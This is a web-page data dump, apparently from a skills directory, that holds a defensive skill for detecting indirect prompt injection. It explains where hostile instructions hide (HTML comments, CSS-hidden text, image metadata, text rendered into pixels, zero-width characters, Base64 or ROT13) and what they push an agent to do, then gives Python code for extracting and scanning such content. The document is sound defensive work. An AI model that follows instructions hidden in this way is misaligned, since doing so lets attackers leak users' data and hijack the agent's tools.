[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7D7XTX2KP7WZSPA1MBB6RFZ":3,"skill-same:01M7D7XTX2KP7WZSPA1MBB6RFZ":84},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":41,"commitSha":42,"skillDirectory":43,"forksCount":44,"repositoryHtmlUrl":45,"repositoryHomepageUrl":6,"ownerHtmlUrl":46,"ownerBlogUrl":47,"ownerDescription":48,"updatedAt":49,"install":50,"resources":63},"01M7D7XTX2KP7WZSPA1MBB6RFZ","detecting-indirect-prompt-injection",null,"Detect and defend against indirect prompt injection hidden in web pages, documents, and images consumed by an agent, via content extraction (HTML\u002FPDF\u002FOCR), normalization, and scanning with LLM Guard's PromptInjection scanner or Hugging Face Prompt Guard 2. Use when an agent ingests untrusted external content and you need to screen it for injected instructions before the LLM processes it.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fdetecting-indirect-prompt-injection\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fdetecting-indirect-prompt-injection\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: detecting-indirect-prompt-injection\ndescription: Detect and defend against indirect prompt injection hidden in web pages, documents,\n  and images consumed by an agent, via content extraction (HTML\u002FPDF\u002FOCR), normalization,\n  and scanning with LLM Guard's PromptInjection scanner or Hugging Face Prompt Guard 2.\n  Use when an agent ingests untrusted external content and you need to screen it for\n  injected instructions before the LLM processes it.\ndomain: cybersecurity\nsubdomain: ai-security\ntags:\n- ai-security\n- indirect-prompt-injection\n- llm-defense\n- agent-security\n- content-scanning\n- llm-guard\n- multimodal\n- owasp-llm\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_ai_rmf:\n- MEASURE-2.7\natlas_techniques:\n- AML.T0051.001\n---\n# Detecting Indirect Prompt Injection\n\n> **Authorized-use-only notice:** Scripts in this skill scan untrusted content for injection payloads and run detector models. Run scanning only on data you are authorized to process, and treat any extracted payloads as live untrusted input — never paste them back into a privileged LLM context.\n\n## Overview\n\nIndirect prompt injection (MITRE ATLAS **AML.T0051.001**, OWASP **LLM01:2025**) occurs when an LLM-powered agent ingests external content — a web page it browses, a PDF or email it summarizes, an image it OCRs, a tool result it reads — and that content contains hidden instructions the model then follows as if they came from the developer or user. Because the agent treats *all* tokens in its context window as equally authoritative, an attacker who controls any consumed artifact can hijack the agent's behavior: exfiltrate conversation history, redirect tool calls, leak secrets, or pivot through connected systems.\n\nUnlike direct injection (the user types the attack), indirect injection arrives through a *trusted-looking data channel*, which is why naive input filtering misses it. Payloads hide in many forms: HTML comments and `display:none`\u002Fzero-width text on web pages, white-on-white or tiny-font text in PDFs, alt-text and EXIF metadata in images, text rendered into pixels (invisible to OCR-light filters but read by multimodal models), Unicode tag\u002Fzero-width characters, and Base64\u002FROT13 obfuscation. This skill builds a detection pipeline that normalizes and scans every artifact *before* it reaches the model, combining heuristic\u002Fregex detection, dedicated detector models (Meta **Prompt Guard 2**, ProtectAI's **deberta-v3 prompt-injection** classifier via **LLM Guard**), and multimodal extraction for images, and then defines response actions and detection telemetry.\n\n## When to Use\n\n- When building or hardening an agent that browses the web, reads email, summarizes documents, or processes user-uploaded files\u002Fimages.\n- When you need a content-sanitization gate in front of an LLM that ingests third-party data.\n- During AI red-team \u002F blue-team exercises validating that injected instructions in retrieved artifacts are caught.\n- When investigating an incident where an agent behaved as if it received instructions you did not author.\n- As a CI\u002FCD pre-ingestion scan for documents added to a knowledge base.\n\n## Prerequisites\n\n- Python 3.10+ and a virtual environment.\n- Install the detection tooling:\n\n```bash\npython -m venv .venv && source .venv\u002Fbin\u002Factivate\n\n# LLM Guard — input\u002Foutput scanners incl. PromptInjection\npip install llm-guard\n\n# Hugging Face transformers for Prompt Guard 2 \u002F deberta classifiers\npip install transformers torch\n\n# Content extraction: HTML, PDF, images\npip install beautifulsoup4 pypdf pillow pytesseract\n# pytesseract requires the Tesseract OCR engine:\n#   Debian\u002FUbuntu: sudo apt-get install -y tesseract-ocr\n#   macOS:         brew install tesseract\n#   Windows:       choco install tesseract\n```\n\n- Access (gated) to `meta-llama\u002FLlama-Prompt-Guard-2-86M` on Hugging Face, or use the open `protectai\u002Fdeberta-v3-base-prompt-injection-v2` classifier.\n\n## Objectives\n\n- Extract human-invisible and obfuscated text from web pages, PDFs, and images.\n- Normalize content (strip zero-width chars, decode Base64\u002FROT13, flatten Unicode) before scanning.\n- Run heuristic and ML-based injection detectors (LLM Guard PromptInjection scanner, Prompt Guard 2).\n- Score each artifact and enforce a block \u002F sanitize \u002F allow decision before model ingestion.\n- Emit structured detection telemetry suitable for a SIEM and map findings to ATLAS AML.T0051.001.\n\n## MITRE ATT&CK Mapping\n\n| ID | Official Name | Relevance |\n|----|---------------|-----------|\n| AML.T0051.001 | LLM Prompt Injection: Indirect | The exact technique this skill detects and mitigates |\n| AML.T0051 | LLM Prompt Injection | Parent technique covering all prompt-injection variants |\n| AML.T0057 | LLM Data Leakage | Common objective of an indirect injection that this detection prevents |\n| AML.T0053 | LLM Plugin Compromise | Injected instructions frequently target the agent's tools\u002Fplugins |\n\n## Workflow\n\n### 1. Extract hidden text from web content\nPull comments, hidden elements, and metadata that a human never sees but the model does.\n\n```python\n# extract_html.py\nfrom bs4 import BeautifulSoup, Comment\n\ndef extract_hidden(html: str):\n    soup = BeautifulSoup(html, \"html.parser\")\n    hidden = []\n    for c in soup.find_all(string=lambda t: isinstance(t, Comment)):\n        hidden.append((\"comment\", c.strip()))\n    for el in soup.select('[style*=\"display:none\"],[style*=\"visibility:hidden\"],[hidden]'):\n        hidden.append((\"css-hidden\", el.get_text(strip=True)))\n    for img in soup.find_all(\"img\"):\n        if img.get(\"alt\"):\n            hidden.append((\"alt-text\", img[\"alt\"]))\n    return [h for h in hidden if h[1]]\n```\n\n### 2. Normalize and de-obfuscate\nStrip zero-width \u002F Unicode-tag characters and decode common encodings so detectors see the real payload.\n\n```python\n# normalize.py\nimport base64, codecs, re, unicodedata\n\nZERO_WIDTH = dict.fromkeys(map(ord, \"​‌‍⁠﻿\"), None)\nTAG_RANGE = range(0xE0000, 0xE0080)  # Unicode tag chars used to smuggle text\n\ndef normalize(text: str) -> str:\n    text = text.translate(ZERO_WIDTH)\n    text = \"\".join(ch for ch in text if ord(ch) not in TAG_RANGE)\n    text = unicodedata.normalize(\"NFKC\", text)\n    for token in re.findall(r\"[A-Za-z0-9+\u002F=]{20,}\", text):\n        try:\n            decoded = base64.b64decode(token).decode(\"utf-8\", \"ignore\")\n            if decoded.isprintable():\n                text += f\"\\n[decoded-b64] {decoded}\"\n        except Exception:\n            pass\n    text += \"\\n[decoded-rot13] \" + codecs.decode(text, \"rot_13\")\n    return text\n```\n\n### 3. Scan with LLM Guard's PromptInjection scanner\nLLM Guard wraps a transformer classifier and returns a risk score per input.\n\n```python\n# scan_llmguard.py\nfrom llm_guard.input_scanners import PromptInjection\nfrom llm_guard.input_scanners.prompt_injection import MatchType\n\nscanner = PromptInjection(threshold=0.5, match_type=MatchType.FULL)\n\ndef scan(text: str):\n    sanitized, is_valid, risk = scanner.scan(text)\n    return {\"is_valid\": is_valid, \"risk\": risk}  # is_valid=False => injection detected\n```\n\n### 4. Add a dedicated detector model (Prompt Guard 2 \u002F deberta)\nRun Meta Prompt Guard 2 (or the open ProtectAI deberta classifier) for a second opinion.\n\n```python\n# detector_model.py\nfrom transformers import pipeline\n\n# Open classifier (no gating); swap to meta-llama\u002FLlama-Prompt-Guard-2-86M if licensed\nclf = pipeline(\"text-classification\",\n               model=\"protectai\u002Fdeberta-v3-base-prompt-injection-v2\")\n\ndef is_injection(text: str, threshold: float = 0.5) -> bool:\n    out = clf(text[:512])[0]\n    return out[\"label\"].upper() == \"INJECTION\" and out[\"score\"] >= threshold\n```\n\n### 5. Extract and scan text rendered inside images\nMultimodal agents read text painted into pixels; OCR it and run the same scanners.\n\n```python\n# scan_image.py\nfrom PIL import Image\nimport pytesseract\n\ndef ocr(path: str) -> str:\n    return pytesseract.image_to_string(Image.open(path))\n# Feed ocr(path) through normalize() + scan() + is_injection()\n```\n\n### 6. Enforce a decision and emit telemetry\nCombine signals into block \u002F sanitize \u002F allow, and log a structured event for the SIEM.\n\n```python\n# decide.py\nimport json, hashlib\nfrom datetime import datetime, timezone\n\ndef decide(source, raw, normalized, llmguard_invalid, model_flag):\n    flagged = llmguard_invalid or model_flag\n    event = {\n        \"ts\": datetime.now(timezone.utc).isoformat(),\n        \"source\": source,\n        \"sha256\": hashlib.sha256(raw.encode(\"utf-8\", \"ignore\")).hexdigest(),\n        \"atlas\": \"AML.T0051.001\",\n        \"llmguard_injection\": llmguard_invalid,\n        \"model_injection\": model_flag,\n        \"decision\": \"block\" if flagged else \"allow\",\n    }\n    print(json.dumps(event))\n    return event[\"decision\"]\n```\n\n### 7. Validate against a corpus and tune thresholds\nRun the pipeline over a labeled set of clean + injected artifacts, measure precision\u002Frecall, and tune `threshold` to balance false positives against missed injections. Re-test whenever the agent's model or ingestion sources change.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| LLM Guard | Input\u002Foutput scanners incl. PromptInjection | https:\u002F\u002Fgithub.com\u002Fprotectai\u002Fllm-guard |\n| Meta Prompt Guard 2 | Dedicated jailbreak\u002Finjection classifier | https:\u002F\u002Fhuggingface.co\u002Fmeta-llama\u002FLlama-Prompt-Guard-2-86M |\n| ProtectAI deberta-v3 | Open prompt-injection classifier | https:\u002F\u002Fhuggingface.co\u002Fprotectai\u002Fdeberta-v3-base-prompt-injection-v2 |\n| BeautifulSoup4 | HTML parsing \u002F hidden-element extraction | https:\u002F\u002Fwww.crummy.com\u002Fsoftware\u002FBeautifulSoup\u002F |\n| pytesseract \u002F Tesseract | OCR text from images | https:\u002F\u002Fgithub.com\u002Fmadmaze\u002Fpytesseract |\n| MITRE ATLAS | AI threat technique taxonomy | https:\u002F\u002Fatlas.mitre.org\u002F |\n| OWASP LLM01:2025 | Prompt Injection reference | https:\u002F\u002Fgenai.owasp.org\u002Fllmrisk\u002Fllm01-prompt-injection\u002F |\n\n## Detection Surfaces Reference\n\n| Surface | Hiding technique | Extraction step |\n|---------|------------------|-----------------|\n| Web page | HTML comments, display:none, alt-text | BeautifulSoup hidden-element pass |\n| PDF | white\u002Ftiny font, off-page text | pypdf text extraction + normalize |\n| Image | rendered pixels, EXIF, alt-text | OCR + metadata read |\n| Any text | zero-width \u002F Unicode-tag chars | normalize() de-obfuscation |\n| Any text | Base64 \u002F ROT13 encoding | decode pass in normalize() |\n\n## Validation Criteria\n\n- [ ] Hidden-text extraction implemented for HTML, PDF, and images\n- [ ] Normalization strips zero-width\u002FUnicode-tag chars and decodes Base64\u002FROT13\n- [ ] LLM Guard PromptInjection scanner integrated and returning risk scores\n- [ ] A dedicated detector model (Prompt Guard 2 or deberta) integrated as a second signal\n- [ ] OCR path scans text rendered inside images\n- [ ] Block\u002Fsanitize\u002Fallow decision enforced before model ingestion\n- [ ] Structured detection telemetry emitted for SIEM with ATLAS mapping\n- [ ] Pipeline validated on a labeled corpus with precision\u002Frecall measured\n- [ ] Thresholds tuned and documented\n- [ ] Findings mapped to MITRE ATLAS AML.T0051.001 and OWASP LLM01:2025\n","# Detecting Indirect Prompt Injection\n\n> **Authorized-use-only notice:** Scripts in this skill scan untrusted content for injection payloads and run detector models. Run scanning only on data you are authorized to process, and treat any extracted payloads as live untrusted input — never paste them back into a privileged LLM context.\n\n## Overview\n\nIndirect prompt injection (MITRE ATLAS **AML.T0051.001**, OWASP **LLM01:2025**) occurs when an LLM-powered agent ingests external content — a web page it browses, a PDF or email it summarizes, an image it OCRs, a tool result it reads — and that content contains hidden instructions the model then follows as if they came from the developer or user. Because the agent treats *all* tokens in its context window as equally authoritative, an attacker who controls any consumed artifact can hijack the agent's behavior: exfiltrate conversation history, redirect tool calls, leak secrets, or pivot through connected systems.\n\nUnlike direct injection (the user types the attack), indirect injection arrives through a *trusted-looking data channel*, which is why naive input filtering misses it. Payloads hide in many forms: HTML comments and `display:none`\u002Fzero-width text on web pages, white-on-white or tiny-font text in PDFs, alt-text and EXIF metadata in images, text rendered into pixels (invisible to OCR-light filters but read by multimodal models), Unicode tag\u002Fzero-width characters, and Base64\u002FROT13 obfuscation. This skill builds a detection pipeline that normalizes and scans every artifact *before* it reaches the model, combining heuristic\u002Fregex detection, dedicated detector models (Meta **Prompt Guard 2**, ProtectAI's **deberta-v3 prompt-injection** classifier via **LLM Guard**), and multimodal extraction for images, and then defines response actions and detection telemetry.\n\n## When to Use\n\n- When building or hardening an agent that browses the web, reads email, summarizes documents, or processes user-uploaded files\u002Fimages.\n- When you need a content-sanitization gate in front of an LLM that ingests third-party data.\n- During AI red-team \u002F blue-team exercises validating that injected instructions in retrieved artifacts are caught.\n- When investigating an incident where an agent behaved as if it received instructions you did not author.\n- As a CI\u002FCD pre-ingestion scan for documents added to a knowledge base.\n\n## Prerequisites\n\n- Python 3.10+ and a virtual environment.\n- Install the detection tooling:\n\n```bash\npython -m venv .venv && source .venv\u002Fbin\u002Factivate\n\n# LLM Guard — input\u002Foutput scanners incl. PromptInjection\npip install llm-guard\n\n# Hugging Face transformers for Prompt Guard 2 \u002F deberta classifiers\npip install transformers torch\n\n# Content extraction: HTML, PDF, images\npip install beautifulsoup4 pypdf pillow pytesseract\n# pytesseract requires the Tesseract OCR engine:\n#   Debian\u002FUbuntu: sudo apt-get install -y tesseract-ocr\n#   macOS:         brew install tesseract\n#   Windows:       choco install tesseract\n```\n\n- Access (gated) to `meta-llama\u002FLlama-Prompt-Guard-2-86M` on Hugging Face, or use the open `protectai\u002Fdeberta-v3-base-prompt-injection-v2` classifier.\n\n## Objectives\n\n- Extract human-invisible and obfuscated text from web pages, PDFs, and images.\n- Normalize content (strip zero-width chars, decode Base64\u002FROT13, flatten Unicode) before scanning.\n- Run heuristic and ML-based injection detectors (LLM Guard PromptInjection scanner, Prompt Guard 2).\n- Score each artifact and enforce a block \u002F sanitize \u002F allow decision before model ingestion.\n- Emit structured detection telemetry suitable for a SIEM and map findings to ATLAS AML.T0051.001.\n\n## MITRE ATT&CK Mapping\n\n| ID | Official Name | Relevance |\n|----|---------------|-----------|\n| AML.T0051.001 | LLM Prompt Injection: Indirect | The exact technique this skill detects and mitigates |\n| AML.T0051 | LLM Prompt Injection | Parent technique covering all prompt-injection variants |\n| AML.T0057 | LLM Data Leakage | Common objective of an indirect injection that this detection prevents |\n| AML.T0053 | LLM Plugin Compromise | Injected instructions frequently target the agent's tools\u002Fplugins |\n\n## Workflow\n\n### 1. Extract hidden text from web content\nPull comments, hidden elements, and metadata that a human never sees but the model does.\n\n```python\n# extract_html.py\nfrom bs4 import BeautifulSoup, Comment\n\ndef extract_hidden(html: str):\n    soup = BeautifulSoup(html, \"html.parser\")\n    hidden = []\n    for c in soup.find_all(string=lambda t: isinstance(t, Comment)):\n        hidden.append((\"comment\", c.strip()))\n    for el in soup.select('[style*=\"display:none\"],[style*=\"visibility:hidden\"],[hidden]'):\n        hidden.append((\"css-hidden\", el.get_text(strip=True)))\n    for img in soup.find_all(\"img\"):\n        if img.get(\"alt\"):\n            hidden.append((\"alt-text\", img[\"alt\"]))\n    return [h for h in hidden if h[1]]\n```\n\n### 2. Normalize and de-obfuscate\nStrip zero-width \u002F Unicode-tag characters and decode common encodings so detectors see the real payload.\n\n```python\n# normalize.py\nimport base64, codecs, re, unicodedata\n\nZERO_WIDTH = dict.fromkeys(map(ord, \"​‌‍⁠﻿\"), None)\nTAG_RANGE = range(0xE0000, 0xE0080)  # Unicode tag chars used to smuggle text\n\ndef normalize(text: str) -> str:\n    text = text.translate(ZERO_WIDTH)\n    text = \"\".join(ch for ch in text if ord(ch) not in TAG_RANGE)\n    text = unicodedata.normalize(\"NFKC\", text)\n    for token in re.findall(r\"[A-Za-z0-9+\u002F=]{20,}\", text):\n        try:\n            decoded = base64.b64decode(token).decode(\"utf-8\", \"ignore\")\n            if decoded.isprintable():\n                text += f\"\\n[decoded-b64] {decoded}\"\n        except Exception:\n            pass\n    text += \"\\n[decoded-rot13] \" + codecs.decode(text, \"rot_13\")\n    return text\n```\n\n### 3. Scan with LLM Guard's PromptInjection scanner\nLLM Guard wraps a transformer classifier and returns a risk score per input.\n\n```python\n# scan_llmguard.py\nfrom llm_guard.input_scanners import PromptInjection\nfrom llm_guard.input_scanners.prompt_injection import MatchType\n\nscanner = PromptInjection(threshold=0.5, match_type=MatchType.FULL)\n\ndef scan(text: str):\n    sanitized, is_valid, risk = scanner.scan(text)\n    return {\"is_valid\": is_valid, \"risk\": risk}  # is_valid=False => injection detected\n```\n\n### 4. Add a dedicated detector model (Prompt Guard 2 \u002F deberta)\nRun Meta Prompt Guard 2 (or the open ProtectAI deberta classifier) for a second opinion.\n\n```python\n# detector_model.py\nfrom transformers import pipeline\n\n# Open classifier (no gating); swap to meta-llama\u002FLlama-Prompt-Guard-2-86M if licensed\nclf = pipeline(\"text-classification\",\n               model=\"protectai\u002Fdeberta-v3-base-prompt-injection-v2\")\n\ndef is_injection(text: str, threshold: float = 0.5) -> bool:\n    out = clf(text[:512])[0]\n    return out[\"label\"].upper() == \"INJECTION\" and out[\"score\"] >= threshold\n```\n\n### 5. Extract and scan text rendered inside images\nMultimodal agents read text painted into pixels; OCR it and run the same scanners.\n\n```python\n# scan_image.py\nfrom PIL import Image\nimport pytesseract\n\ndef ocr(path: str) -> str:\n    return pytesseract.image_to_string(Image.open(path))\n# Feed ocr(path) through normalize() + scan() + is_injection()\n```\n\n### 6. Enforce a decision and emit telemetry\nCombine signals into block \u002F sanitize \u002F allow, and log a structured event for the SIEM.\n\n```python\n# decide.py\nimport json, hashlib\nfrom datetime import datetime, timezone\n\ndef decide(source, raw, normalized, llmguard_invalid, model_flag):\n    flagged = llmguard_invalid or model_flag\n    event = {\n        \"ts\": datetime.now(timezone.utc).isoformat(),\n        \"source\": source,\n        \"sha256\": hashlib.sha256(raw.encode(\"utf-8\", \"ignore\")).hexdigest(),\n        \"atlas\": \"AML.T0051.001\",\n        \"llmguard_injection\": llmguard_invalid,\n        \"model_injection\": model_flag,\n        \"decision\": \"block\" if flagged else \"allow\",\n    }\n    print(json.dumps(event))\n    return event[\"decision\"]\n```\n\n### 7. Validate against a corpus and tune thresholds\nRun the pipeline over a labeled set of clean + injected artifacts, measure precision\u002Frecall, and tune `threshold` to balance false positives against missed injections. Re-test whenever the agent's model or ingestion sources change.\n\n## Tools and Resources\n\n| Tool | Purpose | Source |\n|------|---------|--------|\n| LLM Guard | Input\u002Foutput scanners incl. PromptInjection | https:\u002F\u002Fgithub.com\u002Fprotectai\u002Fllm-guard |\n| Meta Prompt Guard 2 | Dedicated jailbreak\u002Finjection classifier | https:\u002F\u002Fhuggingface.co\u002Fmeta-llama\u002FLlama-Prompt-Guard-2-86M |\n| ProtectAI deberta-v3 | Open prompt-injection classifier | https:\u002F\u002Fhuggingface.co\u002Fprotectai\u002Fdeberta-v3-base-prompt-injection-v2 |\n| BeautifulSoup4 | HTML parsing \u002F hidden-element extraction | https:\u002F\u002Fwww.crummy.com\u002Fsoftware\u002FBeautifulSoup\u002F |\n| pytesseract \u002F Tesseract | OCR text from images | https:\u002F\u002Fgithub.com\u002Fmadmaze\u002Fpytesseract |\n| MITRE ATLAS | AI threat technique taxonomy | https:\u002F\u002Fatlas.mitre.org\u002F |\n| OWASP LLM01:2025 | Prompt Injection reference | https:\u002F\u002Fgenai.owasp.org\u002Fllmrisk\u002Fllm01-prompt-injection\u002F |\n\n## Detection Surfaces Reference\n\n| Surface | Hiding technique | Extraction step |\n|---------|------------------|-----------------|\n| Web page | HTML comments, display:none, alt-text | BeautifulSoup hidden-element pass |\n| PDF | white\u002Ftiny font, off-page text | pypdf text extraction + normalize |\n| Image | rendered pixels, EXIF, alt-text | OCR + metadata read |\n| Any text | zero-width \u002F Unicode-tag chars | normalize() de-obfuscation |\n| Any text | Base64 \u002F ROT13 encoding | decode pass in normalize() |\n\n## Validation Criteria\n\n- [ ] Hidden-text extraction implemented for HTML, PDF, and images\n- [ ] Normalization strips zero-width\u002FUnicode-tag chars and decodes Base64\u002FROT13\n- [ ] LLM Guard PromptInjection scanner integrated and returning risk scores\n- [ ] A dedicated detector model (Prompt Guard 2 or deberta) integrated as a second signal\n- [ ] OCR path scans text rendered inside images\n- [ ] Block\u002Fsanitize\u002Fallow decision enforced before model ingestion\n- [ ] Structured detection telemetry emitted for SIEM with ATLAS mapping\n- [ ] Pipeline validated on a labeled corpus with precision\u002Frecall measured\n- [ ] Thresholds tuned and documented\n- [ ] Findings mapped to MITRE ATLAS AML.T0051.001 and OWASP LLM01:2025\n",{"name":5,"tags":25,"author":34,"domain":35,"license":15,"version":36,"subdomain":26,"description":7,"nist_ai_rmf":37,"atlas_techniques":39},[26,27,28,29,30,31,32,33],"ai-security","indirect-prompt-injection","llm-defense","agent-security","content-scanning","llm-guard","multimodal","owasp-llm","mahipal","cybersecurity","1.0",[38],"MEASURE-2.7",[40],"AML.T0051.001","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fdetecting-indirect-prompt-injection",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":51,"prompt":61,"zipAvailable":62},[52,55,58],{"tool":53,"command":54},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill detecting-indirect-prompt-injection",{"tool":56,"command":57},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill detecting-indirect-prompt-injection",{"tool":59,"command":60},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill detecting-indirect-prompt-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fdetecting-indirect-prompt-injection\u002FSKILL.md",true,[64,68,74,78],{"path":65,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":69,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":73},"references\u002Fapi-reference.md","REFERENCE","参考文档",2012,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fdetecting-indirect-prompt-injection\u002Freferences\u002Fapi-reference.md",{"path":75,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":76,"sourceHtmlUrl":77},"references\u002Fstandards.md",1610,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fdetecting-indirect-prompt-injection\u002Freferences\u002Fstandards.md",{"path":79,"resourceType":80,"resourceTypeDesc":81,"sizeBytes":82,"sourceHtmlUrl":83},"scripts\u002Fagent.py","SCRIPT","脚本",5625,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fdetecting-indirect-prompt-injection\u002Fscripts\u002Fagent.py",[85,93,101,110,117,124],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":89,"sourceHtmlUrl":90,"categories":91,"keywords":92,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":94,"name":95,"nameZh":6,"description":96,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":97,"sourceHtmlUrl":98,"categories":99,"keywords":100,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":102,"name":103,"nameZh":6,"description":104,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":105,"licenseFileUrl":106,"sourceHtmlUrl":107,"categories":108,"keywords":109,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":114,"categories":115,"keywords":116,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":105,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":123,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant 